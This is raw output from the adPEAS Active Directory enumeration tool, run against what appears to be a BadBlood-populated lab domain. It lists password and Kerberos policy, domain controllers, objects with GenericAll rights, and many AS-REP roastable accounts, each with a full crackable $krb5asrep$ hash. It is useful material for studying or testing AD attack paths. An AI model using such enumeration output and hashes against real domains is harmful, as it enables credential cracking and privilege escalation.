adPEAS version 0.7.9 Checking Domain - Details for Domain 'offsec.nl': Domain Name : offsec.nl Domain SID : S-1-5-21-3509477529-2169914037-1395257886 Domain Functional Level : Windows 2016 Forest Name : offsec.nl Forest Children : No Subdomain[s] available Domain Controller : SRV2019.offsec.nl SRV2022.offsec.nl Checking Password Policy - Details for Domain 'offsec.nl': Minimum Password Age : 1 days Maximum Password Age : 42 days Minimum Password Length : 7 character Password Complexity : Enabled Lockout Account : Disabled Reversible Encryption : Disabled Checking Kerberos Policy - Details for Domain 'offsec.nl': Maximum Age of TGT : 10 hours Maximum Age of TGS : 600 minutes Maximum Clock Time Difference : 5 minutes Krbtgt Password Last Set : 2/5/2022 9:36:56 AM Checking Domain Controller - Details for Domain 'offsec.nl': DC Host Name : SRV2019.offsec.nl DC IP Address : 10.20.30.10 Site Name : Default-First-Site-Name Domain : offsec.nl DC Host Name : SRV2022.offsec.nl DC IP Address : 10.20.30.11 Site Name : Default-First-Site-Name Domain : offsec.nl Checking DCSync Rights - Details for Domain 'offsec.nl': Checking GenericAll Rights - Details for Domain 'offsec.nl': ActiveDirectoryRight : GenericAll Identity : OFFSEC\ROLAND_WILLIAMSON distinguishedName : CN=ROLAND_WILLIAMSON,OU=Devices,OU=AZR,OU=Tier 2,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-1532 ActiveDirectoryRight : GenericAll Identity : OFFSEC\BRAD_LEBLANC distinguishedName : CN=BRAD_LEBLANC,OU=Devices,OU=AWS,OU=Tier 1,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-1389 ActiveDirectoryRight : GenericAll Identity : BUILTIN\RDS Endpoint Servers distinguishedName : CN=RDS Endpoint Servers,CN=Builtin,DC=offsec,DC=nl ObjectSID : S-1-5-32-576 ActiveDirectoryRight : GenericAll Identity : OFFSEC\EL-r3l-distlist1 distinguishedName : CN=EL-r3l-distlist1,OU=Devices,OU=FSR,OU=Tier 1,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-3753 ActiveDirectoryRight : GenericAll Identity : OFFSEC\RO-291-admingroup1 distinguishedName : CN=RO-291-admingroup1,OU=Quarantine,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-4044 ActiveDirectoryRight : GenericAll Identity : OFFSEC\DU-629651164-distlist1 distinguishedName : CN=DU-629651164-distlist1,OU=T0-Devices,OU=Tier 0,OU=Admin,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-3797 ActiveDirectoryRight : GenericAll Identity : OFFSEC\AZRWWEBS1000001$ distinguishedName : CN=AZRWWEBS1000001,OU=Devices,OU=GOO,OU=Tier 2,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-4136 ActiveDirectoryRight : GenericAll Identity : OFFSEC\TSTWSECS1000001$ distinguishedName : CN=TSTWSECS1000001,OU=Admin,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-4154 ActiveDirectoryRight : GenericAll Identity : OFFSEC\TSTWWEBS1000000$ distinguishedName : CN=TSTWWEBS1000000,OU=HRE,OU=Tier 1,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-4090 ActiveDirectoryRight : GenericAll Identity : OFFSEC\TSTWSECS1000001$ distinguishedName : CN=TSTWSECS1000001,OU=Admin,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-4154 ActiveDirectoryRight : GenericAll Identity : OFFSEC\AWSWVIR1000000$ distinguishedName : CN=AWSWVIR1000000,OU=Groups,OU=FSR,OU=Tier 2,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-4153 ActiveDirectoryRight : GenericAll Identity : OFFSEC\CA-cep-distlist1 distinguishedName : CN=CA-cep-distlist1,OU=ServiceAccounts,OU=FSR,OU=Stage,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-3660 ActiveDirectoryRight : GenericAll Identity : OFFSEC\BRITTNEY_GUTHRIE distinguishedName : CN=BRITTNEY_GUTHRIE,OU=Test,OU=FIN,OU=Stage,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-1859 ActiveDirectoryRight : GenericAll Identity : OFFSEC\LESA_FRY distinguishedName : CN=LESA_FRY,OU=Stage,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-3255 ActiveDirectoryRight : GenericAll Identity : OFFSEC\ITSWAPPS1000002$ distinguishedName : CN=ITSWAPPS1000002,OU=GOO,OU=Tier 2,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-4178 ActiveDirectoryRight : GenericAll Identity : OFFSEC\ROLAND_WILLIAMSON distinguishedName : CN=ROLAND_WILLIAMSON,OU=Devices,OU=AZR,OU=Tier 2,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-1532 ActiveDirectoryRight : GenericAll Identity : OFFSEC\JA-a1b-distlist1 distinguishedName : CN=JA-a1b-distlist1,OU=SEC,OU=Tier 1,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-3815 ActiveDirectoryRight : GenericAll Identity : OFFSEC\ALI_GUERRERO distinguishedName : CN=ALI_GUERRERO,OU=Groups,OU=ITS,OU=Tier 1,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-2971 ActiveDirectoryRight : GenericAll Identity : OFFSEC\FA-tlp-distlist1 distinguishedName : CN=FA-tlp-distlist1,OU=Devices,OU=AZR,OU=Tier 2,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-3965 ActiveDirectoryRight : GenericAll Identity : OFFSEC\FSRWLPT1000000$ distinguishedName : CN=FSRWLPT1000000,OU=Devices,OU=TST,OU=Tier 1,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-4091 ActiveDirectoryRight : GenericAll Identity : OFFSEC\TA-mis-admingroup1 distinguishedName : CN=TA-mis-admingroup1,OU=Tier 1,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-4082 ActiveDirectoryRight : GenericAll Identity : OFFSEC\KIRSTEN_SCHWARTZ distinguishedName : CN=KIRSTEN_SCHWARTZ,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-1179 ActiveDirectoryRight : GenericAll Identity : OFFSEC\ES-aze-distlist1 distinguishedName : CN=ES-aze-distlist1,OU=Grouper-Groups,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-3991 ActiveDirectoryRight : GenericAll Identity : OFFSEC\ITSWAPPS1000002$ distinguishedName : CN=ITSWAPPS1000002,OU=GOO,OU=Tier 2,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-4178 ActiveDirectoryRight : GenericAll Identity : OFFSEC\CA-cep-distlist1 distinguishedName : CN=CA-cep-distlist1,OU=ServiceAccounts,OU=FSR,OU=Stage,DC=offsec,DC=nl ObjectSID : S-1-5-21-3509477529-2169914037-1395257886-3660 Searching for ASREPRoast Users - Details for User 'EDDY_MILES': sAMAccountName : EDDY_MILES userPrincipalName : EDDY_MILES@offsec.nl distinguishedName : CN=EDDY_MILES,OU=Groups,OU=ITS,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1106 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=AN-bet-admingroup1,OU=Groups,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=ES-eli-distlist1,OU=ServiceAccounts,OU=AWS,OU=Tier 1,DC=offsec,DC=nl CN=AM-zal-distlist1,OU=AZR,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:03 AM lastLogonTimestamp : 2/10/2022 1:59:31 PM $krb5asrep$23$EDDY_MILES@offsec.nl:4d8c9bf0976cee502d8e03273d9b7736$a2a03e1dbcef6b3a0788997924774ac8d29f5ff0d558aca8cbf07d0cf72147ca0eed89a83469268b83900a29cf7b5ba342c5cf602e2f9cfb65c67a197d43e2c963d9e10a2f56451b8119b0fc033d958cfd8eca6777ddd9376445869ba980e0623ab956844fe256c64ba1467c7d4b946a1073ee6a9b0a9bbdff2309a1bdd8d5d1423350402b95fe545c69c2d52c84dc39cd9d2a181415a0a17a1b8802b407e9250a70fa90c74faf0426c4314af6c79d20525281b1646d899bbf56340d060e6a7bbe422128cc240d96f0362a8da7070b52cd71ab2dccb8e6453c42ac8ac7ea8d020f566109d66b Searching for ASREPRoast Users - Details for User 'MARCIA_HOLCOMB': sAMAccountName : MARCIA_HOLCOMB userPrincipalName : MARCIA_HOLCOMB@offsec.nl distinguishedName : CN=MARCIA_HOLCOMB,OU=Groups,OU=HRE,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1116 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 9:59:05 AM lastLogonTimestamp : 2/10/2022 1:59:31 PM $krb5asrep$23$MARCIA_HOLCOMB@offsec.nl:8b146d8cd7092bd67b787df187dce114$b3e1a6eb9af667cb727f189cb93cf51b861166b68f749c66f4fc63eabd582bfe7e27722549373defe487dd54e53bcebfeb0664a0e744144ec15417e4ca7c3fa00d2a08cda9b9ad60324a7c3eb968c546831ef3182535265ad04ba135771d0635f4674a02bf1f485d5ab1b0984994c77bea3adceec91a6a7cabc60ced7eae40243e83e3be1210139e8d06def706f04e890820e82558c5a7cbb95039d79fe4463e9d4d1a9e2bc3188b32b0e42871310146417ba8889f9662ec0bb9294c896ce2d7e6e8b4c22ebc115676d4a45ab470da7206262c8789596d3100ef6f340c2063a848c5f3dd6a62 Searching for ASREPRoast Users - Details for User 'ALLIE_KNAPP': sAMAccountName : ALLIE_KNAPP userPrincipalName : ALLIE_KNAPP@offsec.nl distinguishedName : CN=ALLIE_KNAPP,OU=Test,OU=AWS,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1119 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=DE-satanicbl-distlist1,OU=Devices,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=LE-AGUSTINBL-distlist1,OU=ServiceAccounts,OU=SEC,OU=Stage,DC=offsec,DC=nl CN=IN-isa-admingroup1,OU=ServiceAccounts,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=DA-kar-distlist1,OU=ServiceAccounts,OU=GOO,OU=Tier 2,DC=offsec,DC=nl CN=KR-brailbrai-admingroup1,OU=Groups,OU=ESM,OU=Tier 2,DC=offsec,DC=nl CN=BE-978-distlist1,OU=Devices,OU=TST,OU=Stage,DC=offsec,DC=nl CN=EL-ant-distlist1,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=TR-360213848-admingroup1,OU=Staging,OU=Admin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:06 AM lastLogonTimestamp : 2/10/2022 1:59:31 PM $krb5asrep$23$ALLIE_KNAPP@offsec.nl:2b516a134c40e23986585f52fce01e0d$4c0f8dda19a972b089825ef14d5bb3984aebc9b56374ce9d032db307a007e25567016890eb60093f7356b7a5d0dec671c9177943ab8059850a3ea41f376cfd8c096f555b313186a189b5b09acf87d9fc49eb7df3c6f63b6fe2c35ffe368dd96cfe7abd03764f8307959ef939e9e326f1fca6a774e7a43402e75ef66ef9d0d5f1f3c4fb943cdefc95f3ee1951b74292fe9b43b9b4ddeb96e90dca622ccbd2388dec3333afc93e5854468c38dab6cefd39f9c74c945536f2155ab7240cef70212394386273cef7f3df0181610f6e1a9d699517377b390fd8fb8a35632e989414bc25e8f8804598 Searching for ASREPRoast Users - Details for User 'CLAIRE_BERRY': sAMAccountName : CLAIRE_BERRY userPrincipalName : CLAIRE_BERRY@offsec.nl distinguishedName : CN=CLAIRE_BERRY,OU=AZR,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1187 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=PA-223-distlist1,OU=Test,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=VE-majaivars-distlist1,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=RO-conquet78-admingroup1,OU=Test,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=TR-sohuymagu-admingroup1,OU=Devices,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=AP-a12-admingroup1,OU=Stage,DC=offsec,DC=nl CN=TH-yosoybety-admingroup1,OU=Test,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=WI-844-distlist1,OU=Groups,OU=AWS,OU=Tier 1,DC=offsec,DC=nl CN=JA-belldandy-distlist1,OU=People,DC=offsec,DC=nl CN=AM-zal-distlist1,OU=AZR,OU=Stage,DC=offsec,DC=nl CN=MO-FlaquitA1-admingroup1,OU=ServiceAccounts,OU=GOO,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:22 AM lastLogonTimestamp : 2/10/2022 1:59:31 PM $krb5asrep$23$CLAIRE_BERRY@offsec.nl:f8061b2708b83f488d9e80fa3d4af138$eeee97c3ee47520fcc48a8148696523252ae8a81022e92479f364d89da9c24387ed8e049f3975882aeb96543a74f4944544f3f4884406585a4a5abae1017e782fec3ec774fe7ec8c96c5ce0f1dd3087f09806b28540bb1371530d3bdc3ab5f714907ef52b9b759aae425a759bfcf0da70da4b7c1a1548677850c6d9e51406e4db4bc8e27ad377d1da47f58bf5d984eb858764603a816c74feea41e711e06717d64bc6200e831dcd623758fe34878552ee9ae6da03c288fe03956d9f233257de73b5de0aff9c4f2a3cc651a10bed8d9065be57152020b265a6f37a5e902e1271d8c12b68119ee Searching for ASREPRoast Users - Details for User 'JESS_DELANEY': sAMAccountName : JESS_DELANEY userPrincipalName : JESS_DELANEY@offsec.nl distinguishedName : CN=JESS_DELANEY,OU=FIN,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1190 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=LE-111075cum-distlist1,OU=GOO,OU=Tier 2,DC=offsec,DC=nl CN=RO-jnorman12-admingroup1,OU=HRE,OU=People,DC=offsec,DC=nl CN=NO-Bnj-distlist1,OU=Groups,OU=HRE,OU=Stage,DC=offsec,DC=nl CN=MA-baloncest-distlist1,OU=Devices,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=KE-mon-distlist1,OU=Groups,OU=SEC,OU=Stage,DC=offsec,DC=nl CN=RU-az2826720-distlist1,OU=ServiceAccounts,OU=SEC,OU=Tier 1,DC=offsec,DC=nl CN=TR-pel-admingroup1,OU=ServiceAccounts,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=DA-telefonic-distlist1,OU=Test,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=AN-mondaestr-distlist1,OU=Test,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=ES-118-distlist1,OU=ServiceAccounts,OU=BDE,OU=Tier 2,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:22 AM lastLogonTimestamp : 2/10/2022 1:59:31 PM $krb5asrep$23$JESS_DELANEY@offsec.nl:9f1182f8a0c9032fd580a9b358b6e2f7$9a8fc658b0a22f856a76e338dc2d9e5c6dfdefdc1386b227704b7a7fd1f88e2e132e1a3a267df531802867ae4848b264562588cb0c2ff3c7f216a63424f94d242b8d62396b91226a1f4c70c67531682b06e5d93627503d929f3e310e600a61ff541baeeeb29860fd0faba1642863661935a019ebc3af716b267c739c98723202ebb20e487f44cf432fd8d85ddf0229d1ae9b816b7a489078f0182e5d122af14d6a561a3b46febb0660c24ca55bdac36588d4c69be1f26ced553051e9d81023b81f23a5df367b1f8700bfbdef5de34d652beadfa1d6ef21574bc3b5113f0b49e676564b371c61 Searching for ASREPRoast Users - Details for User 'IGNACIO_CHAPMAN': sAMAccountName : IGNACIO_CHAPMAN userPrincipalName : IGNACIO_CHAPMAN@offsec.nl distinguishedName : CN=IGNACIO_CHAPMAN,OU=FSR,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1198 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=WY-ple-distlist1,OU=Devices,OU=FSR,OU=Tier 2,DC=offsec,DC=nl CN=DA-laa-distlist1,OU=Groups,OU=HRE,OU=Tier 1,DC=offsec,DC=nl CN=DU-629651164-distlist1,OU=T0-Devices,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=CO-vertigo22-distlist1,OU=Tier 0,OU=Admin,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:24 AM lastLogonTimestamp : 2/10/2022 1:59:31 PM $krb5asrep$23$IGNACIO_CHAPMAN@offsec.nl:7d37f686478548edf0f52cb6635dd1ed$8a913925a086a7aac281291d9df50b1543ddd6ee5fbe7f721f60cbc3ced9e19af641b140079dc93a171ef736e6af2c09f4e475204feef2b8a114ee390902350a32aad7c48bf01fce5291f71908607c34d49452d7a41202c5e0af5d57ce8429165bfe705e648e02940a4a6b64eee32fbe41f13af9dc6539f51c5f402a0db694188c6dad6b7a14d3fad8e472bbe69931275d4810185d877ae6d19ec92b1d466f903f1aae764971fa5bf6fc0ae70f5b08364aae92b0263144c5338ed076f1390dd8f5e0d504c6b1d8fe45c1d7bb74fe3bae8d8b1467d4079bf4905fe4a526cb20d1d367e557e562 Searching for ASREPRoast Users - Details for User 'ELVIA_BROCK': sAMAccountName : ELVIA_BROCK userPrincipalName : ELVIA_BROCK@offsec.nl distinguishedName : CN=ELVIA_BROCK,OU=ServiceAccounts,OU=AWS,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1210 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=SH-a3706723z-distlist1,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=RO-jnorman12-admingroup1,OU=HRE,OU=People,DC=offsec,DC=nl CN=TA-YOM-distlist1,OU=TST,OU=Stage,DC=offsec,DC=nl CN=BR-lil-distlist1,OU=Devices,OU=SEC,OU=Tier 2,DC=offsec,DC=nl CN=DA-kar-distlist1,OU=ServiceAccounts,OU=GOO,OU=Tier 2,DC=offsec,DC=nl CN=BE-crounou17-admingroup1,OU=Tier 1,DC=offsec,DC=nl CN=JE-chuchito1-distlist1,OU=Groups,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=KA-rea-admingroup1,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=offsec,DC=nl CN=ER-kimberley-distlist1,OU=Test,OU=FSR,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:27 AM lastLogonTimestamp : 2/10/2022 1:59:31 PM $krb5asrep$23$ELVIA_BROCK@offsec.nl:499b81812157ea3c3531a1bae41ae611$d2b5bb40317aa6e7c5067823e7a6171da3edb8e3ef811673b37b368738eb18d8d26024a14ddb1241d45b9305c2321a823ebda6756702744ea651a339656eecf1af239e173a72f409dcbbbf66c6483a21cdaff1011b057278a4ecc09d4fbff8410c228dcd6ae94577a008a09066903d84cccfeaaffc1240f4be5431bff94ba9b0189f46cd323b7e625b5420cd9d1bf0b221fed735730893a861b1cf115d5552d004eae4b5f1b780e3ac43a2c385fae1e0d764aec329038d2638424452efdb359b95357b7411933e91b40447d0687ab3e6c8539ffb7f14cf8f95c2455e60f8a87e27c7f11944a5 Searching for ASREPRoast Users - Details for User 'STACY_VAUGHAN': sAMAccountName : STACY_VAUGHAN userPrincipalName : STACY_VAUGHAN@offsec.nl distinguishedName : CN=STACY_VAUGHAN,OU=ITS,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1213 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=PA-223-distlist1,OU=Test,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=TR-catalina2-distlist1,OU=Devices,OU=GOO,OU=Stage,DC=offsec,DC=nl CN=BR-dre-admingroup1,OU=T2-Devices,OU=Tier 2,OU=Admin,DC=offsec,DC=nl CN=CA-cyf-distlist1,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=LO-juanchito-admingroup1,OU=HRE,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:28 AM lastLogonTimestamp : 2/10/2022 1:59:31 PM $krb5asrep$23$STACY_VAUGHAN@offsec.nl:3e30b07856a4d9ee5f7f14431c4e9444$1134452b992e7e1337818c14cf4dd4b0e0683bbf0198468bbfb6352e6f718bf442fc873d90e833a65b79972d0a91666528f6582bfc8b6a8fe71608b33ff821b8a8942243aaeb69c47bcad8ea1f8c261529f672380e1fdc9d787a47e76e5104d7a202adb0c7191e34c6cef3be1340b8a8b850608ff4981522a62b985e13df27b66b332fd02372f0799171490fe20af266edf54ef5ec6e7fba08a36d0595ef57c2b163061e3c984287dc859a30a8ada98eb02146c3668b8bada1cd3c3f5e937ee652100d46fa9a5a2d376d8a0ffe1874fb0b0a49e86c377ddf1d7644f462876b5b98570e4a6ac0 Searching for ASREPRoast Users - Details for User 'RUBIN_ALFORD': sAMAccountName : RUBIN_ALFORD userPrincipalName : RUBIN_ALFORD@offsec.nl distinguishedName : CN=RUBIN_ALFORD,OU=ServiceAccounts,OU=AWS,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1247 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 9:59:35 AM lastLogonTimestamp : 2/10/2022 1:59:31 PM $krb5asrep$23$RUBIN_ALFORD@offsec.nl:f0f5f5cc47bd8487a1f82a742ca5156e$108dc540fb4145abd15f72d251ce79c83a1a64699a46c452e498e339d5ad0d13c33a192ca89fb4f1d73dbb9479b54861d8ed4f5a102f4c30b6e455ac3869730e20ee00ae0824eee9a1ad130eab7318ceed7dcdb1c38ae62af7aae7f20c117b885a844d4f91325d6e146afca80dd865f6575e835809be665b7e03b11f2dfb7947c65272f9a4cde6999f3002a5a05709503cae5013b79f7d545f11ae017fec26723214feebdcf4cc84e75d805d4096b8e730e2f3055be0c3055397cdaebd3f0cd4b81c284d652062bf9b9b34ed438dedd017103e2b25b94580a256bf8a72f5216a02b64cdad04a Searching for ASREPRoast Users - Details for User 'AGUSTIN_ANDERSON': sAMAccountName : AGUSTIN_ANDERSON userPrincipalName : AGUSTIN_ANDERSON@offsec.nl distinguishedName : CN=AGUSTIN_ANDERSON,OU=Groups,OU=OGC,OU=Tier 1,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1282 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 9:59:44 AM lastLogonTimestamp : 2/10/2022 1:59:32 PM $krb5asrep$23$AGUSTIN_ANDERSON@offsec.nl:c932ebafdeb0c822867e023463040497$36869f0b0b7530d423a273f71c1ac38655bf8f96c11b3fcfad5dafdd9da047c1a6e33873aa93f7e4e47feb5111b98b4d668c60777a3e4f00bfa21110570ff6b40b020931dbaec87be632860c045c6db59abd9a8a32379f3cb96f0e84794b7ed053c841c83a9cdbfda56bc24365b2c36caa89ec6c31144aacdc1222b74deac7d7890302af96751d00de24b3e31746835350fca0de64534fe439797d8ae5486768e83f04e013e7fe8b6b2a174af4e7e5c8ae7c5babbcba1d2bc79cd8443006bfba9a3cf7dcef3d49983bba8d79457327ab2fddde68cd076b9d7b3d8bfcffac22b04ce829c340aa Searching for ASREPRoast Users - Details for User 'CECILE_WOODS': sAMAccountName : CECILE_WOODS userPrincipalName : CECILE_WOODS@offsec.nl distinguishedName : CN=CECILE_WOODS,OU=BDE,OU=People,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1287 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=GO-109-admingroup1,OU=TST,OU=People,DC=offsec,DC=nl CN=SO-al6-distlist1,OU=Test,OU=FSR,OU=Tier 1,DC=offsec,DC=nl CN=JU-290-distlist1,OU=Devices,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=ER-991-admingroup1,OU=Devices,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=MI-sol-distlist1,OU=ServiceAccounts,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=JA-derivados-distlist1,OU=T0-Servers,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=AD-fatimacit-distlist1,OU=Devices,OU=AWS,OU=Tier 2,DC=offsec,DC=nl CN=ER-kimberley-distlist1,OU=Test,OU=FSR,OU=Tier 1,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:45 AM lastLogonTimestamp : 2/10/2022 1:59:32 PM Searching for ASREPRoast Users - Details for User 'DESIREE_MCCLURE': sAMAccountName : DESIREE_MCCLURE userPrincipalName : DESIREE_MCCLURE@offsec.nl distinguishedName : CN=DESIREE_MCCLURE,OU=Devices,OU=HRE,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1301 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=SO-8.32668E1-distlist1,OU=ServiceAccounts,OU=AWS,OU=Stage,DC=offsec,DC=nl CN=DY-210-distlist1,OU=FSR,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:48 AM lastLogonTimestamp : 2/10/2022 1:59:32 PM $krb5asrep$23$DESIREE_MCCLURE@offsec.nl:67fbfc55b1702697d363dbba2047f2ca$9923ed6c7df942d66f5d8e74af3b3ae5d31bb7d08a505757e7dceb5d0edb4ab8742b8ff283bfa841792b3c326899122f9f528e4cda17b1b1e9fca2b04589982fe12847872468e143d32fe62c74e4918af373acedc4c11745804d2a4a8110e4eea6b5084d78b8926bf6846087bf39e14f4cac249cd3a4175b00d926d595fa69a9420ff0452b47e9b3aad9acbc2c09da348c4de88f8471599dd40af385276c378b8f70a18315ec8b3a5bc525a9357dfd09809dc678556fb8040838e00a236c733dde6ae2b0e8f83e01259234891999afeae607b5aac2cc267af7a755a0806176c0effae2c901c4 Searching for ASREPRoast Users - Details for User 'CLARENCE_GATES': sAMAccountName : CLARENCE_GATES userPrincipalName : CLARENCE_GATES@offsec.nl distinguishedName : CN=CLARENCE_GATES,OU=Groups,OU=AZR,OU=Stage,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1310 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : CN=AL-cinthia10-distlist1,OU=Devices,OU=ESM,OU=Tier 1,DC=offsec,DC=nl CN=CO-alicruzet-distlist1,OU=ServiceAccounts,OU=FSR,OU=Stage,DC=offsec,DC=nl CN=EV-jfsa44341-distlist1,OU=Devices,OU=ESM,OU=Stage,DC=offsec,DC=nl CN=92-lgr-distlist1,OU=Devices,OU=BDE,OU=Stage,DC=offsec,DC=nl CN=MA-teq-distlist1,OU=T0-Accounts,OU=Tier 0,OU=Admin,DC=offsec,DC=nl CN=JE-chuchito1-distlist1,OU=Groups,OU=AZR,OU=Tier 1,DC=offsec,DC=nl CN=TE-emo-distlist1,OU=ServiceAccounts,OU=BDE,OU=Tier 2,DC=offsec,DC=nl CN=ER-Spi-admingroup1,OU=HRE,OU=People,DC=offsec,DC=nl CN=BR-cas-distlist1,OU=ServiceAccounts,OU=TST,OU=Tier 2,DC=offsec,DC=nl CN=WI-teodiotea-distlist1,OU=Test,OU=HRE,OU=Stage,DC=offsec,DC=nl pwdLastSet : 2/5/2022 9:59:50 AM lastLogonTimestamp : 2/10/2022 1:59:32 PM $krb5asrep$23$CLARENCE_GATES@offsec.nl:30601b0909ff660dac078164cf6bc0e2$67311cef879fe2af996888ed2cf52a23c559b224d6a5445f22071d0d64d118fb1d40cd245d6af231b8b06e575f54dbf9705a9436ae06cf44dddc4d758d14d90d87465a63d4e67c3ab49b2f249f32a6a6af190eccff767a5a4b22e04c82d678c54513f57d987279d2f811bc87b2b16f1ddc77ae0b5c01816d12bf9a12623657d6f566318bbefeaf6ab8f2e616d0db7bfab597382391568197d5d1688089afe6b147c213ddc92fb6783f3ec297c7eedb1c65b2f9866d1aabf330f829e0c91fc98fa70557789c0628ea52d022850cd779d91c5f831dfa5d1d0e80d2bc11a69aa4799da2af8ee2cf Searching for ASREPRoast Users - Details for User 'KEITH_HOLCOMB': sAMAccountName : KEITH_HOLCOMB userPrincipalName : KEITH_HOLCOMB@offsec.nl distinguishedName : CN=KEITH_HOLCOMB,OU=Devices,OU=TST,OU=Tier 2,DC=offsec,DC=nl description : Created with secframe.com/badblood. objectSid : S-1-5-21-3509477529-2169914037-1395257886-1316 userAccountControl : NORMAL_ACCOUNT, DONT_REQ_PREAUTH memberOf : pwdLastSet : 2/5/2022 9:59:52 AM lastLogonTimestamp : 2/10/2022 1:59:32 PM 